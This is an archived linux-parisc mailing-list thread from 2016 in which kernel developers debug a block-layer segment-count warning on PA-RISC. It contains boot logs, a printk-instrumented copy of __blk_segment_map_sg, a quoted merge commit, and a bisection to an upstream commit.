> > > > > [   47.896000] __blk_segment_map_sg: length = 61440, nbytes =
> > > > > 4096, sum = 65536 > 65536
> > > > > [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
> > > > > 0,
> > > > > BIOVEC_SEG_BOUNDARY = 1
> > > > > [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
> > > > > [   47.896000] __blk_segment_map_sg: length = 4096, nbytes =
> > > > > 4096, sum = 8192 > 65536
> > > > > [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
> > > > > 0,
> > > > > BIOVEC_SEG_BOUNDARY = 1
> > > > > [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
> > > > > [   47.896000] __blk_segment_map_sg: length = 4096, nbytes =
> > > > > 4096, sum = 8192 > 65536
> > > > > [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
> > > > > 0,
> > > > > BIOVEC_SEG_BOUNDARY = 1
> > > > > [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
> > > > > [   47.896000] __blk_segment_map_sg: length = 8192, nbytes =
> > > > > 4096, sum = 12288 > 65536
> > > > > [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
> > > > > 0,
> > > > > BIOVEC_SEG_BOUNDARY = 1
> > > > > [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
> > > > > [   47.896000] __blk_segment_map_sg: length = 8192, nbytes =
> > > > > 4096, sum = 12288 > 65536
> > > > > [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
> > > > > 0,
> > > > > BIOVEC_SEG_BOUNDARY = 1
> > > > > [   47.896000] scsi_init_sgtable: count = 6, nents = 6
> > > > > [   47.896000] timer_interrupt(CPU 0): delayed! cycles
> > > > > 3AB087E2
> > > > > rem 23E4DE  next/now 1570BBD5EE/157097F110
> > > > > [   49.324000] scsi_init_sgtable: nr_phys_segments = 1
> > > > > [   49.324000] scsi_init_sgtable: count = 1, nents = 1
> > > > > [   49.440000] scsi_init_sgtable: nr_phys_segments = 2
> > > > > [   49.440000] NEW SEGMENT sg = 000000007fa911e8!!!
> > > > > [   49.440000] __blk_segment_map_sg: length = 65536, nbytes =
> > > > > 4096, sum = 69632 > 65536
> > > > > 
> > > > > (this is interesting! Here we reach a sum of > 65536 the
> > > > > first
> > > > > time)
> > > > > 
> > > > > [   49.440000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
> > > > > 1,
> > > > > BIOVEC_SEG_BOUNDARY = 1
> > > > > [   49.440000] NEW SEGMENT sg = 000000007fa911e8!!!
> > > > > [   49.440000] __blk_segment_map_sg: length = 16384, nbytes =
> > > > > 4096, sum = 20480 > 65536
> > > > > [   49.440000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
> > > > > 0,
> > > > > BIOVEC_SEG_BOUNDARY = 1
> > > > > [   49.440000] *** FIXIT *** HELGE: nsegs > rq
> > > > > ->nr_phys_segments
> > > > > = 3 > 2
> > > > > [   49.440000] scsi_init_sgtable: count = 3, nents = 2
> > > > > [   50.116000] ------------[ cut here ]------------
> > > > > [   50.172000] WARNING: at /build/linux-4.4/linux
> > > > > -4.4.2/drivers/scsi/scsi_lib.c:1104
> > > > > 
> > > > > (this is usually a BUG(). I changed it to WARN() in the hope
> > > > > it
> > > > > would work anyway. It didn't.)
> > > > > 
> > > > > [   50.260000] Modules linked in: sd_mod sr_mod cdrom
> > > > > ata_generic
> > > > > ohci_pci ehci_pci ohci_hcd ehci_hcd pata_ns87415 sym53c8xx
> > > > > libata
> > > > > scsi_transport_spi scsi_mod usbcorep
> > > > > [   50.456000] CPU: 0 PID: 70 Comm: systemd-udevd Not tainted
> > > > > 4.4.0-1-parisc64-smp #5 Debian 4.4.2-2
> > > > > [   50.564000] task: 000000007f948b28 ti: 000000007fa90000
> > > > > task.ti: 000000007fa90000
> > > > > [   50.652000] 
> > > > > [   50.672000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> > > > > [   50.728000] PSW: 00001000000001001111100100001110 Not
> > > > > tainted
> > > > > [   50.796000] r00-03  000000ff0804f90e 00000000409ea2e0
> > > > > 00000000003e2ee0 000000007fa91140
> > > > > [   50.892000] r04-07  00000000003cd000 000000007f914300
> > > > > 000000007f914b10 0000000000000003
> > > > > [   50.988000] r08-11  0000000000000000 000000007f918000
> > > > > 0000000040bdd6b0 00000000003cd800
> > > > > [   51.084000] r12-15  0000000000000000 000000007fa90778
> > > > > 00000000003cd000 000000007f918000
> > > > > [   51.180000] r16-19  0000000000001300 0000000040bdd6b8
> > > > > 0000000040bdd6bc 0000000040ba2420
> > > > > [   51.276000] r20-23  0000000099116e92 0000000000000000
> > > > > 00000000000002a0 00000000000002ee
> > > > > [   51.372000] r24-27  0000000000000000 000000000800000e
> > > > > 0000000040b60750 00000000409b3ae0
> > > > > [   51.468000] r28-31  0000000000000002 000000007fa914f0
> > > > > 000000007fa911e0 0000000040ba2408
> > > > > [   51.564000] sr00-03  0000000000015000 0000000000000000
> > > > > 0000000000000000 0000000000015000
> > > > > [   51.660000] sr04-07  0000000000000000 0000000000000000
> > > > > 0000000000000000 0000000000000000
> > > > > [   51.756000] 
> > > > > [   51.772000] IASQ: 0000000000000000 0000000000000000 IAOQ:
> > > > > 00000000003e2f24 00000000003e2f28
> > > > > [   51.872000]  IIR: 03ffe01f    ISR: 0000000010340000  IOR:
> > > > > 000000fea4691528
> > > > > [   51.956000]  CPU:        0   CR30: 000000007fa90000 CR31:
> > > > > 00000000ffff7dff
> > > > > [   52.040000]  ORIG_R28: 0000000040b60718
> > > > > [   52.084000]  IAOQ[0]: scsi_init_sgtable+0xfc/0x1b8
> > > > > [scsi_mod]
> > > > > [   52.152000]  IAOQ[1]: scsi_init_sgtable+0x100/0x1b8
> > > > > [scsi_mod]
> > > > > [   52.224000]  RP(r2): scsi_init_sgtable+0xb8/0x1b8
> > > > > [scsi_mod]
> > > > > [   52.292000] Backtrace:
> > > > > [   52.320000]  [<00000000003e304c>] scsi_init_io+0x6c/0x258
> > > > > [scsi_mod]
> > > > > [   52.396000]  [<000000000087d078>]
> > > > > sd_init_command+0x70/0xec8
> > > > > [sd_mod]
> > > > > 
> > > > > In general I think the bug is somehow in blk-merge.c.
> > > > > But I'm not an expert in that code.
> > > > 
> > > > The warning was added in this patch sequence:
> > > > https://lkml.org/lkml/2015/11/23/996
> > > > 
> > > > Possibly, but above seems to indicate that it could be driver
> > > > issue
> > > > as well.
> > > 
> > > 
> > > I believe this bug was introduced by the following merge:
> > > 
> > > commit 1081230b748de8f03f37f80c53dfa89feda9b8de
> > > Merge: df91039 2ca495a
> > > Author: Linus Torvalds <torvalds@linux-foundation.org>
> > > Date:   Wed Sep 2 13:10:25 2015 -0700
> > > 
> > >    Merge branch 'for-4.3/core' of git://git.kernel.dk/linux-block
> > > 
> > >    Pull core block updates from Jens Axboe:
> > >     "This first core part of the block IO changes contains:
> > > 
> > >       - Cleanup of the bio IO error signaling from Christoph.  We
> > > used to
> > >         rely on the uptodate bit and passing around of an error,
> > > now
> > > we
> > >         store the error in the bio itself.
> > > 
> > >       - Improvement of the above from myself, by shrinking the
> > > bio
> > > size
> > >         down again to fit in two cachelines on x86-64.
> > > 
> > >       - Revert of the max_hw_sectors cap removal from a revision
> > > again,
> > >         from Jeff Moyer.  This caused performance regressions in
> > > various
> > >         tests.  Reinstate the limit, bump it to a more reasonable
> > > size
> > >         instead.
> > > 
> > >       - Make /sys/block/<dev>/queue/discard_max_bytes writeable,
> > > by
> > > me.
> > >         Most devices have huge trim limits, which can cause nasty
> > > latencies
> > >         when deleting files.  Enable the admin to configure the
> > > size
> > > down.
> > >         We will look into having a more sane default instead of
> > > UINT_MAX
> > >         sectors.
> > > 
> > >       - Improvement of the SGP gaps logic from Keith Busch.
> > > 
> > >       - Enable the block core to handle arbitrarily sized bios,
> > > which
> > >         enables a nice simplification of bio_add_page() (which is
> > > an
> > > IO hot
> > >         path).  From Kent.
> > > 
> > >       - Improvements to the partition io stats accounting, making
> > > it
> > >         faster.  From Ming Lei.
> > > 
> > >       - Also from Ming Lei, a basic fixup for overflow of the
> > > sysfs
> > > pending
> > >         file in blk-mq, as well as a fix for a blk-mq timeout
> > > race
> > >         condition.
> > > 
> > >       - Ming Lin has been carrying Kents above mentioned patches
> > > forward
> > >         for a while, and testing them.  Ming also did a few fixes
> > > around
> > >         that.
> > > 
> > >       - Sasha Levin found and fixed a use-after-free problem
> > > introduced by
> > >         the bio->bi_error changes from Christoph.
> > > 
> > >       - Small blk cgroup cleanup from Viresh Kumar"
> > > 
> > >    * 'for-4.3/core' of git://git.kernel.dk/linux-block: (26
> > > commits)
> > >      blk: Fix bio_io_vec index when checking bvec gaps
> > >      block: Replace SG_GAPS with new queue limits mask
> > >      block: bump BLK_DEF_MAX_SECTORS to 2560
> > >      Revert "block: remove artifical max_hw_sectors cap"
> > >      blk-mq: fix race between timeout and freeing request
> > >      blk-mq: fix buffer overflow when reading sysfs file of
> > > 'pending'
> > >      Documentation: update notes in biovecs about arbitrarily
> > > sized
> > > bios
> > >      block: remove bio_get_nr_vecs()
> > >      fs: use helper bio_add_page() instead of open coding on
> > > bi_io_vec
> > >      block: kill merge_bvec_fn() completely
> > >      md/raid5: get rid of bio_fits_rdev()
> > >      md/raid5: split bio for chunk_aligned_read
> > >      block: remove split code in
> > > blkdev_issue_{discard,write_same}
> > >      btrfs: remove bio splitting and merge_bvec_fn() calls
> > >      bcache: remove driver private bio splitting code
> > >      block: simplify bio_add_page()
> > >      block: make generic_make_request handle arbitrarily sized
> > > bios
> > >      blk-cgroup: Drop unlikely before IS_ERR(_OR_NULL)
> > >      block: don't access bio->bi_error after bio_put()
> > >      block: shrink struct bio down to 2 cache lines again
> > >      ...
> > 
> > If you can bisect it down to the exact commit, I might be able to
> > work
> > out what's the problem.  Otherwise, even in an all modular config,
> > I
> > can't reproduce this on 4.5-rc4, so it may be fixed upstream (just
> > not
> > backported).
> 
> 
> Okay, the bug was introduced by the following change:
> 
> commit 54efd50bfd873e2dbf784e0b21a8027ba4299a3e
> Author: Kent Overstreet <kent.overstreet@gmail.com>

If you've verified that reverting this alone gets you a bootable
kernel, it's time to report it to the appropriate lists, which would be
linux-block and linux-scsi.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: SCSI bug
Date: Sun, 21 Feb 2016 13:43:20 -0500
Lines: 499
Approved: news@gmane.org
Message-ID: <D14AFC12-8245-4862-9FFA-92A4F114FC41@bell.net>
References: <28D5FC66-A9E6-4F3E-A8AC-F9E68A6BC543@bell.net> <82D4BF6F-05CF-4441-9530-79475BFF84F3@bell.net> <E2C8DBC2-F0AD-4C78-BD63-9C85B387E284@bell.net> <56C8E1AC.3030409@gmx.de> <038473FE-9E6D-4F03-BBD4-9844B7B529E1@bell.net> <9C42B388-96D5-412A-BAC3-14E93415CA21@bell.net> <1456026424.2268.5.camel@HansenPartnership.com> <14EF1F4E-8045-4990-B29E-D489E82B1929@bell.net> <1456078381.2340.5.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1456080221 25621 80.91.229.3 (21 Feb 2016 18:43:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Feb 2016 18:43:41 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 21 19:43:26 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aXYyc-0007Co-0c
	for glpp-linux-parisc@plane.gmane.org; Sun, 21 Feb 2016 19:43:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751657AbcBUSnZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Feb 2016 13:43:25 -0500
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:4308 "EHLO
	torfep01.bell.net" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751777AbcBUSnZ convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Feb 2016 13:43:25 -0500
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20160221184321.UFLO22640.torfep01.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 21 Feb 2016 13:43:21 -0500
Original-Received: from [192.168.2.10] (really [70.54.51.120]) by torspm02.bell.net
          with ESMTP
          id <20160221184321.GCMM18724.torspm02.bell.net@[192.168.2.10]>;
          Sun, 21 Feb 2016 13:43:21 -0500
In-Reply-To: <1456078381.2340.5.camel@HansenPartnership.com>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020205.56CA0549.00BD,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26477
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26477>

On 2016-02-21, at 1:13 PM, James Bottomley wrote:

> On Sun, 2016-02-21 at 13:09 -0500, John David Anglin wrote:
>> On 2016-02-20, at 10:47 PM, James Bottomley wrote:
>> 
>>> On Sat, 2016-02-20 at 21:52 -0500, John David Anglin wrote:
>>>> On 2016-02-20, at 5:52 PM, John David Anglin wrote:
>>>> 
>>>>> On 2016-02-20, at 4:59 PM, Helge Deller wrote:
>>>>> 
>>>>>> On 20.02.2016 21:43, John David Anglin wrote:
>>>>>>> On 2016-02-20, at 3:13 PM, John David Anglin wrote:
>>>>>>> 
>>>>>>>> On 2016-01-23, at 1:00 PM, John David Anglin wrote:
>>>>>>>> 
>>>>>>>>> WARNING: at block/blk-merge.c:454
>>>>>>>> 
>>>>>>>> With linux-image-4.4.0-1-parisc64-smp on c3740, the above
>>>>>>>> warning is the last message I see.
>>>>>>>> Kernel seems to hang at that point.  This is warning
>>>>>>>> code:
>>>>>>>> 
>>>>>>>>    /*
>>>>>>>>     * Something must have been wrong if the figured
>>>>>>>> number
>>>>>>>> of
>>>>>>>>     * segment is bigger than number of req's physical
>>>>>>>> segments
>>>>>>>>     */
>>>>>>>>    WARN_ON(nsegs > rq->nr_phys_segments);
>>>>>>> 
>>>>>>> On Sep. 12, 2015, I reported the following problem:
>>>>>>> 
>>>>>>> http://www.spinics.net/lists/linux-parisc/msg06327.html
>>>>>> 
>>>>>> The problem is still, that this bug can only be reproduced at
>>>>>> every boot when then 
>>>>>> scsi drivers are built as modules (and in an initrd). I could
>>>>>> never reproduce it when
>>>>>> I booted a kernel with built-in scsi drivers.
>>>>>> 
>>>>>> The bug seems to be triggered by(*nsegs)++ command in
>>>>>> __blk_segment_map_sg() in block/blk-merge.c.
>>>>>> I'm testing with the 4.4.2 kernel from debian.
>>>>>> I modified __blk_segment_map_sg() like that:
>>>>>> static inline void
>>>>>> __blk_segment_map_sg(struct request_queue *q, struct bio_vec
>>>>>> *bvec,
>>>>>>                  struct scatterlist *sglist, struct bio_vec
>>>>>> *bvprv,
>>>>>>                  struct scatterlist **sg, int *nsegs, int
>>>>>> *cluster)
>>>>>> {
>>>>>> 
>>>>>>     int nbytes = bvec->bv_len;
>>>>>> 
>>>>>>     if (*sg && *cluster) {
>>>>>>             if ((*sg)->length + nbytes >
>>>>>> queue_max_segment_size(q))
>>>>>>                     goto new_segment;
>>>>>> 
>>>>>>             if (!BIOVEC_PHYS_MERGEABLE(bvprv, bvec))
>>>>>>                     goto new_segment;
>>>>>>             if (!BIOVEC_SEG_BOUNDARY(q, bvprv, bvec))
>>>>>>                     goto new_segment;
>>>>>> 
>>>>>>             (*sg)->length += nbytes;
>>>>>>     } else {
>>>>>> new_segment:
>>>>>>             if (*sg && *cluster) {
>>>>>>                     printk("NEW SEGMENT sg = %p!!!\n", sg);
>>>>>>                     printk("__blk_segment_map_sg: length =
>>>>>> %d,
>>>>>> nbytes = %d, sum = %d > %d\n", (*sg)->length, nbytes, (*sg)
>>>>>> ->length + nbytes, queue_max_segment_size(q));
>>>>>>                     printk("__blk_segment_map_sg:
>>>>>> BIOVEC_PHYS_MERGEABLE = %d, BIOVEC_SEG_BOUNDARY = %d\n",
>>>>>> BIOVEC_PHYS_MERGEABLE(bvprv, bvec), BIOVEC_SEG_BOUNDARY(q,
>>>>>> bvprv,
>>>>>> bvec) );
>>>>>>             }
>>>>>>             if (!*sg)
>>>>>>                     *sg = sglist;
>>>>>>             else {
>>>>>>                     /*
>>>>>>                      * If the driver previously mapped a
>>>>>> shorter
>>>>>>                      * list, we could see a termination bit
>>>>>>                      * prematurely unless it fully inits the
>>>>>> sg
>>>>>>                      * table on each mapping. We KNOW that
>>>>>> there
>>>>>>                      * must be more entries here or the
>>>>>> driver
>>>>>>                      * would be buggy, so force clear the
>>>>>>                      * termination bit to avoid doing a full
>>>>>>                      * sg_init_table() in drivers for each
>>>>>> command.
>>>>>>                      */
>>>>>>                     sg_unmark_end(*sg);
>>>>>>                     *sg = sg_next(*sg);
>>>>>>             }
>>>>>> 
>>>>>>             sg_set_page(*sg, bvec->bv_page, nbytes, bvec
>>>>>> ->bv_offset);
>>>>>>             (*nsegs)++;
>>>>>>     }
>>>>>>     *bvprv = *bvec;
>>>>>> }
>>>>>> 
>>>>>> The boot log looks then like this:
>>>>>> [   43.044000] scsi_init_sgtable: count = 1, nents = 1
>>>>>> (there are lots of those before it!)
>>>>>> [   43.164000] scsi_init_sgtable: nr_phys_segments = 1
>>>>>> [   43.164000] scsi_init_sgtable: count = 1, nents = 1
>>>>>> [   43.280000] scsi_init_sgtable: nr_phys_segments = 1
>>>>>> [   43.280000] scsi_init_sgtable: count = 1, nents = 1
>>>>>> [   43.396000] scsi_init_sgtable: nr_phys_segments = 1
>>>>>> [   43.396000] scsi_init_sgtable: count = 1, nents = 1
>>>>>> [   43.512000] scsi_init_sgtable: nr_phys_segments = 1
>>>>>> [   43.512000] scsi_init_sgtable: count = 1, nents = 1
>>>>>> [   43.628000] scsi_init_sgtable: nr_phys_segments = 3
>>>>>> [   43.628000] NEW SEGMENT sg = 000000007fa911e8!!!
>>>>>> [   43.628000] __blk_segment_map_sg: length = 4096, nbytes =
>>>>>> 4096, sum = 8192 > 65536
>>>>>> [   43.628000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
>>>>>> 0,
>>>>>> BIOVEC_SEG_BOUNDARY = 1
>>>>>> [   43.628000] NEW SEGMENT sg = 000000007fa911e8!!!
>>>>>> [   43.628000] __blk_segment_map_sg: length = 4096, nbytes =
>>>>>> 4096, sum = 8192 > 65536
>>>>>> [   43.628000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
>>>>>> 0,
>>>>>> BIOVEC_SEG_BOUNDARY = 1
>>>>>> [   43.628000] scsi_init_sgtable: count = 3, nents = 3
>>>>>> [   44.224000] scsi_init_sgtable: nr_phys_segments = 1
>>>>>> [   44.224000] scsi_init_sgtable: count = 1, nents = 1
>>>>>> [   44.340000] scsi_init_sgtable: nr_phys_segments = 1
>>>>>> [   44.340000] scsi_init_sgtable: count = 1, nents = 1
>>>>>> [   44.456000] scsi_init_sgtable: nr_phys_segments = 7
>>>>>> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>>>> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
>>>>>> 4096, sum = 8192 > 65536
>>>>>> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
>>>>>> 0,
>>>>>> BIOVEC_SEG_BOUNDARY = 1
>>>>>> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>>>> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
>>>>>> 4096, sum = 8192 > 65536
>>>>>> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
>>>>>> 0,
>>>>>> BIOVEC_SEG_BOUNDARY = 1
>>>>>> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>>>> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
>>>>>> 4096, sum = 8192 > 65536
>>>>>> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
>>>>>> 0,
>>>>>> BIOVEC_SEG_BOUNDARY = 1
>>>>>> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>>>> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
>>>>>> 4096, sum = 8192 > 65536
>>>>>> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
>>>>>> 0,
>>>>>> BIOVEC_SEG_BOUNDARY = 1
>>>>>> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>>>> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
>>>>>> 4096, sum = 8192 > 65536
>>>>>> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
>>>>>> 0,
>>>>>> BIOVEC_SEG_BOUNDARY = 1
>>>>>> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>>>> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes =
>>>>>> 4096, sum = 8192 > 65536
>>>>>> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
>>>>>> 0,
>>>>>> BIOVEC_SEG_BOUNDARY = 1
>>>>>> [   44.456000] scsi_init_sgtable: count = 7, nents = 7
>>>>>> [   44.456000] timer_interrupt(CPU 0): delayed! cycles
>>>>>> 4527081F
>>>>>> rem C6C21  next/now 14E153306E/14E146C44D
>>>>>> [   46.116000] scsi_init_sgtable: nr_phys_segments = 7
>>>>>> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>>>> [   46.116000] __blk_segment_map_sg: length = 4096, nbytes =
>>>>>> 4096, sum = 8192 > 65536
>>>>>> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
>>>>>> 0,
>>>>>> BIOVEC_SEG_BOUNDARY = 1
>>>>>> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>>>> [   46.116000] __blk_segment_map_sg: length = 4096, nbytes =
>>>>>> 4096, sum = 8192 > 65536
>>>>>> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
>>>>>> 0,
>>>>>> BIOVEC_SEG_BOUNDARY = 1
>>>>>> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>>>> [   46.116000] __blk_segment_map_sg: length = 4096, nbytes =
>>>>>> 4096, sum = 8192 > 65536
>>>>>> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
>>>>>> 0,
>>>>>> BIOVEC_SEG_BOUNDARY = 1
>>>>>> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>>>> [   46.116000] __blk_segment_map_sg: length = 4096, nbytes =
>>>>>> 4096, sum = 8192 > 65536
>>>>>> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
>>>>>> 0,
>>>>>> BIOVEC_SEG_BOUNDARY = 1
>>>>>> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>>>> [   46.116000] __blk_segment_map_sg: length = 8192, nbytes =
>>>>>> 4096, sum = 12288 > 65536
>>>>>> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
>>>>>> 0,
>>>>>> BIOVEC_SEG_BOUNDARY = 1
>>>>>> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
>>>>>> [   46.116000] __blk_segment_map_sg: length = 16384, nbytes =
>>>>>> 4096, sum = 20480 > 65536
>>>>>> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
>>>>>> 0,
>>>>>> BIOVEC_SEG_BOUNDARY = 1
>>>>>> [   46.116000] scsi_init_sgtable: count = 7, nents = 7
>>>>>> [   46.116000] timer_interrupt(CPU 0): delayed! cycles
>>>>>> 453F0A77
>>>>>> rem 223089  next/now 152BB6286E/152B93F7E5
>>>>>> [   47.780000] scsi_init_sgtable: nr_phys_segments = 1
>>>>>> [   47.780000] scsi_init_sgtable: count = 1, nents = 1
>>>>>> [   47.896000] scsi_init_sgtable: nr_phys_segments = 6
>>>>>> [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
>>>>>> [   47.896000] __blk_segment_map_sg: length = 61440, nbytes =
>>>>>> 4096, sum = 65536 > 65536
>>>>>> [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
>>>>>> 0,
>>>>>> BIOVEC_SEG_BOUNDARY = 1
>>>>>> [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
>>>>>> [   47.896000] __blk_segment_map_sg: length = 4096, nbytes =
>>>>>> 4096, sum = 8192 > 65536
>>>>>> [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
>>>>>> 0,
>>>>>> BIOVEC_SEG_BOUNDARY = 1
>>>>>> [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
>>>>>> [   47.896000] __blk_segment_map_sg: length = 4096, nbytes =
>>>>>> 4096, sum = 8192 > 65536
>>>>>> [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
>>>>>> 0,
>>>>>> BIOVEC_SEG_BOUNDARY = 1
>>>>>> [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
>>>>>> [   47.896000] __blk_segment_map_sg: length = 8192, nbytes =
>>>>>> 4096, sum = 12288 > 65536
>>>>>> [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
>>>>>> 0,
>>>>>> BIOVEC_SEG_BOUNDARY = 1
>>>>>> [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
>>>>>> [   47.896000] __blk_segment_map_sg: length = 8192, nbytes =
>>>>>> 4096, sum = 12288 > 65536
>>>>>> [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
>>>>>> 0,
>>>>>> BIOVEC_SEG_BOUNDARY = 1
>>>>>> [   47.896000] scsi_init_sgtable: count = 6, nents = 6
>>>>>> [   47.896000] timer_interrupt(CPU 0): delayed! cycles
>>>>>> 3AB087E2
>>>>>> rem 23E4DE  next/now 1570BBD5EE/157097F110
>>>>>> [   49.324000] scsi_init_sgtable: nr_phys_segments = 1
>>>>>> [   49.324000] scsi_init_sgtable: count = 1, nents = 1
>>>>>> [   49.440000] scsi_init_sgtable: nr_phys_segments = 2
>>>>>> [   49.440000] NEW SEGMENT sg = 000000007fa911e8!!!
>>>>>> [   49.440000] __blk_segment_map_sg: length = 65536, nbytes =
>>>>>> 4096, sum = 69632 > 65536
>>>>>> 
>>>>>> (this is interesting! Here we reach a sum of > 65536 the
>>>>>> first
>>>>>> time)
>>>>>> 
>>>>>> [   49.440000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
>>>>>> 1,
>>>>>> BIOVEC_SEG_BOUNDARY = 1
>>>>>> [   49.440000] NEW SEGMENT sg = 000000007fa911e8!!!
>>>>>> [   49.440000] __blk_segment_map_sg: length = 16384, nbytes =
>>>>>> 4096, sum = 20480 > 65536
>>>>>> [   49.440000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE =
>>>>>> 0,
>>>>>> BIOVEC_SEG_BOUNDARY = 1
>>>>>> [   49.440000] *** FIXIT *** HELGE: nsegs > rq
>>>>>> ->nr_phys_segments
>>>>>> = 3 > 2
>>>>>> [   49.440000] scsi_init_sgtable: count = 3, nents = 2
>>>>>> [   50.116000] ------------[ cut here ]------------
>>>>>> [   50.172000] WARNING: at /build/linux-4.4/linux
>>>>>> -4.4.2/drivers/scsi/scsi_lib.c:1104
>>>>>> 
>>>>>> (this is usually a BUG(). I changed it to WARN() in the hope
>>>>>> it
>>>>>> would work anyway. It didn't.)
>>>>>> 
>>>>>> [   50.260000] Modules linked in: sd_mod sr_mod cdrom
>>>>>> ata_generic
>>>>>> ohci_pci ehci_pci ohci_hcd ehci_hcd pata_ns87415 sym53c8xx
>>>>>> libata
>>>>>> scsi_transport_spi scsi_mod usbcorep
>>>>>> [   50.456000] CPU: 0 PID: 70 Comm: systemd-udevd Not tainted
>>>>>> 4.4.0-1-parisc64-smp #5 Debian 4.4.2-2
>>>>>> [   50.564000] task: 000000007f948b28 ti: 000000007fa90000
>>>>>> task.ti: 000000007fa90000
>>>>>> [   50.652000] 
>>>>>> [   50.672000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>>>>>> [   50.728000] PSW: 00001000000001001111100100001110 Not
>>>>>> tainted
>>>>>> [   50.796000] r00-03  000000ff0804f90e 00000000409ea2e0
